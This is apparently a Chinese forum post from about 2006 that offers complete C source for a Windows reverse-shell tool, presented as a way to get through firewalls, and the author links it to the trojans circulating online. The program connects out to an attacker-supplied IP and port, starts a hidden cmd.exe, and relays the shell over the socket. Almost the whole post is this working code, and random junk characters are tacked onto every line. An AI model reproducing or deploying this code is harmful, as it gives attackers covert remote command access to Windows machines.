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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 / bH2Z  
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/* ============================== +zLw%WD[l  
Rebound port in Windows NT lEHXh2  
By wind,2006/7 ;&}z L.!jo  
===============================*/ KDP47A  
#include :HY =^$\  
#include xw_)~Y%\  
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#pragma comment(lib,"wsock32.lib") FAM:; F30  
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void OutputShell(); ;;Z'd@  
SOCKET sClient; &&LB0vH!J  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ir{ 4k  
6`7bk35B  
void main(int argc,char **argv) mPQT%%MF  
{ wWf_d jd  
WSADATA stWsaData; j[w=pF,o  
int nRet; ?Y8hy|`  
SOCKADDR_IN stSaiClient,stSaiServer; -gt ?5H h  
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if(argc != 3) L%\Wt1\[  
{ iOb7g@=  
printf("Useage:\n\rRebound DestIP DestPort\n"); m2l9([u=^  
return; )wD/<7;  
} _ gYj@ %  
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WSAStartup(MAKEWORD(2,2),&stWsaData); A! HJ  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); cbm;45 L|  
7 wEv`5  
stSaiClient.sin_family = AF_INET; puWMgvv  
stSaiClient.sin_port = htons(0); 6~W@$SP,F  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ~@-r  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) , u%V%  
{ z9OpxW@Ou  
printf("Bind Socket Failed!\n"); aL90:,V  
return; +'olC^?5 }  
} )YAU|sCAi$  
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stSaiServer.sin_family = AF_INET; &^HVuYa.0  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); O j:I @c  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); X9FO"(J  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) F |5Au>t  
{ oCI\yp@a  
printf("Connect Error!"); _JNYvng m  
return; ceCO*m~  
} g:y4C6b  
OutputShell(); `0M6<e]C  
} k[a<KbS  
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void OutputShell() y6[le*T  
{ ]plp.f#av  
char szBuff[1024]; Ab j7  
SECURITY_ATTRIBUTES stSecurityAttributes; tQNrDp+  
OSVERSIONINFO stOsversionInfo; qs bo"29  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 9=T;Dxn  
STARTUPINFO stStartupInfo; w4TQ4 Y  
char *szShell; '2<r{  
PROCESS_INFORMATION stProcessInformation; W  
unsigned long lBytesRead; 2;:p H3  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Zxqlhq/)  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); %3#C0%{x  
stSecurityAttributes.lpSecurityDescriptor = 0; "Z,T%]  
stSecurityAttributes.bInheritHandle = TRUE; l,l6j";ohd  
6XU p$Pd(  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Gs3V]qbEP  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 6G"UXNa,  
e:'56?|  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); qT5"r488  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,&M#[>\(3  
stStartupInfo.wShowWindow = SW_HIDE; wi jO2F  
stStartupInfo.hStdInput = hReadPipe; g9VY{[ V  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Jkbeh.  
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GetVersionEx(&stOsversionInfo); Jx}-Y* o  
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switch(stOsversionInfo.dwPlatformId) KT<$E!@  
{ +>!nqp  
case 1: (Ll'j0]k>  
szShell = "command.com"; wW)(mY?   
break; 7f ub^'_  
default: X"_ ^^d-  
szShell = "cmd.exe"; L_vl%ii-  
break; _]4 p51r0  
} &b5(Su  
>|kD(}Axf  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); sr&W+4T  
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send(sClient,szMsg,77,0); `=#jWZ.8m  
while(1) 1@KiP`DA  
{ ;zD4 #7=  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); !f52JQyh  
if(lBytesRead) o#f"wQH;p  
{ O |P<s+  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); t&{;6MiE  
send(sClient,szBuff,lBytesRead,0); j+ -r(lZ  
} N=2T~M 1  
else s[0`  
{ `DgK$QM  
lBytesRead=recv(sClient,szBuff,1024,0); 4FRi=d;mP  
if(lBytesRead<=0) break; P o@;PR=  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); TK\3mrEI  
} ~KMah  
} ]&Y^  
QE[<Y3M  
return; mWaij]1>  
}
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